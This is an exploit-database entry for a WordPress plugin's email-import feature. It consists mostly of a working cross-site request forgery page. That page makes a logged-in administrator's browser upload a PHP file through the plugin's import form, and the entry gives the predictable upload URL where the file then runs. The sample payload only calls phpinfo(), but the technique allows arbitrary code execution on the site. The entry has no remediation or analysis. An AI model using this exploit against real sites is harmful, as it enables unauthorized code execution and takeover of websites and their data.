## https://sploitus.com/exploit?id=WPEX-ID:4EA0127E-AFEF-41BF-A005-C57432F9F58C
Login in as admin and Import a PHP file via the Import Emails feature (/wp-admin/admin.php?page=etmbu-import-email-manual)
Via CSRF:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/example.com\/wp-admin\/admin.php?page=etmbu-import-email-manual", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------362587018939873212313468279541");
xhr.withCredentials = true;
var body = "-----------------------------362587018939873212313468279541\r\n" +
"Content-Disposition: form-data; name=\"txt_file\"; filename=\"phpinfo.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php phpinfo() ?\x3e\n" +
"\r\n" +
"-----------------------------362587018939873212313468279541--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
https://example.com/wp-content/uploads/ea_uploads/28-06-2021-11-40-phpinfo.php (date is in the format date('d-m-Y-H-i-'))